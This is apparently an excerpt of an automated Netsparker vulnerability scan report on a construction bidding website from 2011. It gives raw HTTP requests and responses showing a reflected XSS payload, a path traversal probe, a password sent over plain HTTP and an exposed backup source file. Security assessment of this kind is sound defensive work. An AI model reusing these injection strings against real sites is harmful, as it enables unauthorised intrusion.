onclick="projectsMenuClick(this);" id="find" title="Find Projects"><span>Find</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="myprojects" title="My Projects"><span>My Projects</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="results" title="View Results"><span>Results</span></a></li> </ul> </div> </td> </tr> </table><scrip..
- /questcdn/account/acc_mod/acc_mod.html

/questcdn/account/acc_mod/acc_mod.html CONFIRMED

http://www.questcdn.com/questcdn/account/acc_mod/acc_mod.html?jobPK=3&loginPagePath=index.html&nextP..

Injection URL

http://www.questcdn.com/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000201)%3C/script%3E

Injection Request

GET /questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab='%22--%3E%3C/style%3E%3C/script%3E%3Cscript%3Enetsparker(0x000201)%3C/script%3E HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Identification Request

GET /questcdn/account/acc_mod/acc_mod.html?jobPK=3&loginPagePath=index.html&nextPage=3&password=../../../../../../CANTBEHERE/../../../../proc/self/fd/2&root_page=true HTTP/1.1
Referer: http://www.questcdn.com/questcdn/account/acc_mod/acc_mod.html
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Injection Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29451
Content-Type: text/html;charset=utf-8


Identification Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:37:53 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:37:53 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 30393
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = 'projects';
var sCurrentSubTab = ''"--></style></script><script>netsparker(0x000201)</script>';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[projects] sCurrentSubTab:['"--></style></script><script>netsparker(0x000201)</script>]');
setCurrentTab(null, 'projects');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value="3"/> <input type="hidden" name="jobPK" value="3"/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="projectsMenuClick(this);" id="find" title="Find Projects"><span>Find</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="myprojects" title="My Projects"><span>My Projects</span></a></li> <li><a href="#" onclick="projectsMenuClick(this);" id="results" title="View Results"><span>Results</span></a></li> </ul> </div> </td> </tr> </table><script type="text/javasc..
Password Transmitted Over HTTP

Password Transmitted Over HTTP

1 TOTAL
IMPORTANT
CONFIRMED
1
Netsparker identified that password data is sent over HTTP.

Impact

If an attacker can intercept network traffic he/she can steal users credentials.

Actions to Take

  1. See the remedy for solution.
  2. Move all of your critical forms and pages to HTTPS and do not serve them over HTTP.

Remedy

All sensitive data should be transferred over HTTPS rather than HTTP. Forms should be served over HTTPS. All aspects of the application that accept user input starting from the login process should only be served over HTTPS.
- /questcdn/projects/prj_add_mod/project_modify_grid.html

/questcdn/projects/prj_add_mod/project_modify_grid.html CONFIRMED

http://www.questcdn.com/questcdn/projects/prj_add_mod/project_modify_grid.html

Form target action

/questcdn/action/questLogin

Request

GET /questcdn/projects/prj_add_mod/project_modify_grid.html HTTP/1.1
Referer: http://www.questcdn.com/questcdn/
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/8065817978969251119
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:36:00 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
Set-Cookie: sessionIdentifier=/8065817978969251119; Expires=Thu, 03-Mar-2011 23:36:00 GMT; Path=/questcdn
Pragma: no-cache
Cache-Control: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Length: 29737
Content-Type: text/html;charset=utf-8


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><html xmlns="http://www.w3.org/1999/xhtml"><head> <title>Quest Construction Data Network</title> <meta http-equiv="content-type" content="text/html;charset=ISO-8859-1"/> <meta content="MSHTML 6.00.2800.1226" name="GENERATOR"/> <script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/welcome.css" media="screen"/><!--embed so we can use some of the substitution capabilities--> <link rel="stylesheet" type="text/css" href="/questcdn/css_scripts/menuQuestCDN.css" media="screen"/>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/quest.js"></script>
<script type="text/javascript" language="JavaScript1.2" src="/questcdn/j_scripts/validation.js"></script>
<script type="text/javascript" language="JavaScript1.2">

var pageUrl, currentTab, currentSubTab;
var currentClassName = 'current';
var disabledClassName = 'disabled';
var currentTabName = 'current_tab';
var currentSubTabName = 'current_sub_tab';
var sCurrentTab = '';
var sCurrentSubTab = '';
var siteMenuClassName = 'siteMenu';
var siteSubMenuClassName = 'siteSubMenu';
var pageMenuClassName = 'pageMenu';

function initTab()
{
//alert('initTab');
getPageUrl();
//alert('sCurrentTab:[] sCurrentSubTab:[]');
setCurrentTab(null, '');
initMenu(siteMenuClassName);
initMenu(siteSubMenuClassName);
initMenu(pageMenuClassName);
}

function getPageUrl()
{
pageUrl = window.location.href;
var pos = pageUrl.indexOf('?');
if (pos > 0)
pageUrl = pageUrl.substring(0, pos);
currentTab = getCurrent(null, currentTabName);
currentSubTab = getCurrent(null, currentSubTabName);
pageUrl = addTabInfo(pageUrl, currentTab, currentSubTab);
}

function initMenu(menuClassName)
{
var menuObj = document.getElementById(menuClassName);

if (menuObj != null)
{
var mainMenu = menuObj.getElementsByTagName('UL')[0];
if (mainMenu != null)
{
var menuElements = mainMenu.getElementsByTagName('LI');
if (menuElements != null && menuElements.length > 0)
{
var mainMenuItem = menuElements[0];
mainMenu.style.height = mainMenuItem.offsetHeight + 2 + 'px';
while(mainMenuItem)
{
if(mainMenuItem.tagName == 'LI')
{
mainMenuItem.style.cssText = 'float:left;';
mainMenuItem.style.styleFloat = 'left';
}
mainMenuItem = mainMenuItem.nextSibling;
}
}
}
}
}

function isHomePage()
{
var isHome = false;
if (pageUrl != null && (
pageUrl.indexOf('welcome') > 0 || pageUrl.indexOf('questLogin') > 0 ||
pageUrl.indexOf('index.html') > 0 || pageUrl.charAt(pageUrl.length - 1) == '/'
))
isHome = true;
//alert('url:' + pageUrl.charAt(pageUrl.length - 1));
//alert('isHome:' + isHome);
return isHome;
}

function getParameter(name)
{
name = name.replace(/[\[]/, '\\\[').replace(/[\]]/, '\\\]');
var regexS = '[\\?&]' + name + '=([^&#]*)';
var regex = new RegExp(regexS);
var results = regex.exec(window.location.href);
if (results == null)
return '';
else
return results[1];
}

function isSelected(item)
{
var selected = false;
var className = getClass(item);
if (className == currentClassName)
selected = true;
return selected;
}

function isDisabled(item)
{
var disabled = false;
var className = getClass(item);
//alert('id:' + item.id + ' className:' + className);
if (className == disabledClassName)
disabled = true;
return disabled;
}

function setSelected(item)
{
if (item != undefined)
{
var mItems = item.parentNode.parentNode.getElementsByTagName('a');
for (var i = 0; i < mItems.length; i++)
{
if (!isDisabled(mItems[i]))
setClass(mItems[i], '');
}
if (!isDisabled(item))
setClass(item, currentClassName);
}
}

function setClass(item, className)
{
item.setAttribute('class', className);
item.setAttribute('className', className);
}

function getClass(item)
{
var className = item.getAttribute('class');
if (className == null || className.length == 0)
className = item.getAttribute('className', className);
return className;
}

function getCurrent(sessData, name)
{
var parmData = getParameter(name);
return (parmData == '' ? sessData : parmData);
}

function setLocation(url, tab, subtab)
{
var root = '/questcdn/action/';
var pos = url.indexOf('.html');
if (pos > 0)
root = '/questcdn/setTab/';
url = root + url;
window.location.href = addTabInfo(url, tab, subtab);
}

function addTabInfo(url, tab, subtab)
{
if (tab != undefined)
{
url += '?current_tab=' + tab;
if (subtab != undefined)
url += '&current_sub_tab=' + subtab;
}
return url;
}

function setCurrentTab(item, currentTab)
{
//alert('currentTab:' + currentTab + ' pCurrentTab:' + getParameter(currentTabName));
if (item == undefined)
{
currentTab = getCurrent(currentTab, currentTabName);
if ((currentTab == null || currentTab.length == 0) && isHomePage())
currentTab = 'home';
if (!isHomePage() && currentTab == 'home')
currentTab = null;
//alert('currentTab:' + currentTab);
if (currentTab != null && currentTab.length > 0)
{
item = document.getElementById(currentTab);
setSelected(item);
}
var obj = document.getElementById('siteSubMenu');
if (obj != null)
{
var mItems = obj.getElementsByTagName('a');
if (mItems.length == 0)
obj.style.display = 'none';
}
var cst = getCurrent(sCurrentSubTab, currentSubTabName);
//alert('cst:' + cst);
if (cst != null)
setSelected(document.getElementById(cst));
}
else if (item != undefined && !isSelected(item) && !isDisabled(item))
{
var url = null;
var subtab = null;
switch(item.id)
{
case 'home':
//alert('Clicked Home!');
url = 'welcome.html';
break;
case 'projects':
//alert('Clicked Projects!');
url = 'projects/prj_browse/project_browse_grid.html';
subtab = 'find';
break;
case 'industry_directory':
//alert('Clicked Industry Directory!');
url = 'industry/ind_browse/ind_browse_f.html';
subtab = 'indbrowse';
break;
case 'myAccount':
//alert('Clicked My Account!');
url = 'account/acc_mod/acc_mod.html';
subtab = 'accModify';
break;
case 'memberBenefits':
displayMemberBenefits('/questcdn');
break;
case 'providerBenefits':
displayProviderBenefits('/questcdn');
break;
case 'demonstration':
displayDemo('/questcdn');
break;
case 'classifiedAds':
var className = getClass(item);
alert('className:' + className);
//displayDemo('/questcdn');
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
{
setSelected(item);
setLocation(url, item.id, subtab);
}
}
}

function siteHeaderMenuClick(item)
{
if (item != null)
{
var url = null;
switch(item.id)
{
case 'contactQuest':
displayContactQuest('/questcdn');
break;
case 'faqs':
url = 'faqs/faq.html';
break;
case 'logout':
url = 'questLogout';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url);
}
}

function projectsMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'projects';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'find':
url = 'projects/prj_browse/project_browse_grid.html';
break;
case 'myprojects':

url = 'projects/MyProjects/my_projects.html';

break;
case 'results':
//url = 'projects/prj_view/prj__browse_f1.html';
url = 'projects/prj_view/project_view_grid.html';
break;
case 'add':
url = 'projects/prj_add_mod/prj_add.html';
break;
case 'modify':
//url = 'ShowProjListPage';
url = 'projects/prj_add_mod/project_modify_grid.html';
break;
case 'reports':
url = 'reports/reports.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function industryMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'industry_directory';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'indBrowse':
url = 'industry/ind_browse/ind_browse_f.html';
break;
case 'indSearch':
url = 'industry/ind_search/ind_search.html';
break;
case 'indModify':
url = 'industry/ind_add_mod/ind_mod.html';
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function accountMenuClick(item)
{
var currentTab = getParameter(currentTabName);
currentTab = 'myAccount';
if (item != null)
{
var url = null;
switch(item.id)
{
case 'accModify':
url = 'account/acc_mod/acc_mod.html';
break;
case 'accBilling':
url = '/questcdn/account/acc_bill/acc_bill.html';
window.open(url, 'billingWindow', 'height=400,width=500');
url = null;
break;
default:
alert('Menu item [' + item.id + '] not implemented');
break;
}
if (url != null)
setLocation(url, currentTab, item.id);
}
}

function showProjects()
{
var url = '/questcdn/setTab/projects/MyProjects/my_projects.html?current_tab=projects&current_sub_tab=myprojects';

url += '&allMember=true';

location.href = url;
}
</script>
<script type="text/javascript" language="JavaScript1.2"> function loadPage() { document.userdata.submit(); } </script></head><body onload="document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" action="/questcdn/action/questLogin" method="POST"> <input type="hidden" name="loginPagePath" value="index.html"/> <input type="hidden" name="root_page" value="true"/> <input type="hidden" name="nextPage" value=""/> <input type="hidden" name="jobPK" value=""/><!--$Header: embeds/menuQuestCDN.html 2010/09/21 enelsen $--> <table width="760" border="0" cellspacing="0" cellpadding="0"> <tr> <td> <table width="100%" border="0" cellspacing="0" cellpadding="0"> <tr> <td style="width:50%"><img alt="QuestCDN.COM" src="/questcdn/images/banners/QuestCDNLogo.gif"/></td> <td> <div id="siteHeaderMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="siteHeaderMenuClick(this);" id="contactQuest" title="Contact Quest"><span>Contact Quest</span></a></li> </ul> </div> </td> </tr> <tr> <td colspan="2"><div style="display:block;background:#666530"><img alt="" src="/questcdn/images/banners/QuestTagLine.gif"/></div></td> </tr> </table> </td> </tr> <tr> <td> <div id="siteMenu" style="width:100%"> <ul style="width:100%"> <li><a href="#" onclick="setCurrentTab(this);" id="memberBenefits" title="Member Benefits"><span>Member Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="providerBenefits" title="Provider Benefits"><span>Provider Benefits</span></a></li> <li><a href="#" onclick="setCurrentTab(this);" id="demonstration" title="Demonstration"><span>Demonstration</span></a></li> <!--<li><a href="#" onclick="setCurrentTab(this);" id="classifiedAds" title="" class="disabled"><span>Classified Ads</span></a></li>--> </ul> </div> </td> </tr> <tr> <td> <div id="siteSubMenu" style="width:100%"> </div> </td> </tr> </table><script type="text/javascript" language="JavaScript1.2"> addLoadEvent(initTab);</script><table cellspacing="0" cellpadding="0" width="760" border="0"> <tr style="height:5"> <td></td> </tr> <tr> <td><img alt="" src="/questcdn/images/elements/el_log_photos.jpg" border="0"/></TD> </tr> <tr style="height:30"> <td></td> </tr> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TR> <TD vAlign=top align=middle width=277> <TABLE cellSpacing=0 cellPadding=0 width=277 border=0> <TR height=70> <TD width=75 height=70></TD> <TD width=10 height=70></TD> <TD height=70></TD> </..
Backup Source Code Found

Backup Source Code Found

2 TOTAL
IMPORTANT
Netsparker identified Backup source code file on your web server.

Impact

Depending on the nature of the source code disclosed an attacker can mount one or more of the following types of attacks :
  • Access the database or other data resources. With the privileges of the account obtained attempt to read, update or delete arbitrary data from the database.
  • Access password protected administrative mechanisms such as "dashboard", "management console" and "admin panel" potentially leading to full control of the application.
  • Develop further attacks by investigating the source code for input validation errors and logic vulnerabilities.

Actions to Take

  1. Remove all of temporary and backup files.

Required skills for successful exploitation

This is dependent on the information obtained from source code. Uncovering these forms of vulnerabilities does not require high levels of skills. However a highly skilled attacker could leverage this form of vulnerability to obtain account information for databases or administrative panels, ultimately leading to control of the application or even the host the application reside on.

External References

- /questcdn/index.html.bak

/questcdn/index.html.bak

http://www.questcdn.com/questcdn/index.html.bak

Request

GET /questcdn/index.html.bak HTTP/1.1
Referer: http://www.questcdn.com/questcdn/index.html.bak
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: www.questcdn.com
Cookie: sessionIdentifier=/5196948904207894690
Accept-Encoding: gzip, deflate

Response

HTTP/1.1 200 OK
Date: Tue, 01 Mar 2011 23:41:17 GMT
Server: Apache/2.2.4 (Ubuntu) mod_jk/1.2.23 mod_ssl/2.2.4 OpenSSL/0.9.8e PHP/5.2.3-1ubuntu6
ETag: W/"20214-1239719019000"
Last-Modified: Tue, 14 Apr 2009 14:23:39 GMT
Content-Length: 20214
Content-Type: text/html


<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"><!-- saved from url=(0042)http://www.theborngroup.com/clients/quest/ --><HTML><HEAD> <TITLE>Quest Construction Data Network</TITLE> <META http-equiv=content-type content=text/html;charset=ISO-8859-1> <META content="MSHTML 6.00.2800.1226" name=GENERATOR> <script type="text/javascript" src="{!a:appContext!}/j_scripts/quest.js"></script> <link href="{!a:appContext!}/css_scripts/welcome.css" rel="stylesheet" media="screen"> <CSSCRIPTDICT import> <script type="text/javascript" src="{!a:appContext!}/j_scripts/CSScriptLib.js"></script> </CSSCRIPTDICT> <CSACTIONDICT><SCRIPT type=text/javascript><!--CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_contact',/*URL*/'{!a:appContext!}/images/buttons/bu_contact.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_contact.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_member',/*URL*/'{!a:appContext!}/images/buttons/bu_main_member.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_member.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_provider',/*URL*/'{!a:appContext!}/images/buttons/bu_main_provider.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_provider.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_demo',/*URL*/'{!a:appContext!}/images/buttons/bu_main_classif.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_main_classif.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_main_classified',/*URL*/'{!a:appContext!}/images/buttons/bu_classif.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_classif.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_submit',/*URL*/'{!a:appContext!}/images/buttons/bu_submit.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_submit.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_join',/*URL*/'{!a:appContext!}/images/buttons/bu_log_join.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_log_join.gif',/*URL*/'','');CSInit[CSInit.length] = new Array(CSILoad,/*CMP*/'b_log_business',/*URL*/'{!a:appContext!}/images/buttons/bu_log_business.gif',/*URL*/'{!a:appContext!}/images/buttons/bd_log_business.gif',/*URL*/'','');CSAct[/*CMP*/ 'BA08515F1'] = new Array(CSCallFunction,'login','self');CSAct[/*CMP*/ 'BA0859BE3'] = new Array(CSOpenWindow,/*URL*/ '{!s:showPage!}log_on/log_sub_fees.html?root_page=true','',450,400,true,true,false,false,false,false,false);// --></SCRIPT> </CSACTIONDICT></HEAD><body onload="CSScriptInit();document.userdata.username.focus()" bgcolor="#ffffff"><form name="userdata" Action="{!s:action!}questLogin" Method="POST"> <input type="hidden" name="loginPagePath" value="index.html"> <input type="hidden" name="root_page" value="true"><TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR> <TD> <TABLE cellSpacing=0 cellPadding=0 width=760 border=0> <TBODY> <TR height=28> <TD width=277 height=50 rowSpan=2><IMG height=50 alt="Quest CDN.COM" src="{!a:appContext!}/images/banners/ba_main_left.gif" width=277 border=0></TD> <TD align=right height=28><A href=""><IMG height=28 alt="Contact Quest" src="{!a:appContext!}/images/buttons/bu_contact.gif" width="120" border="0" name="b_main_contact" onClick="return displayContactQuest('{!a:appContext!}')" 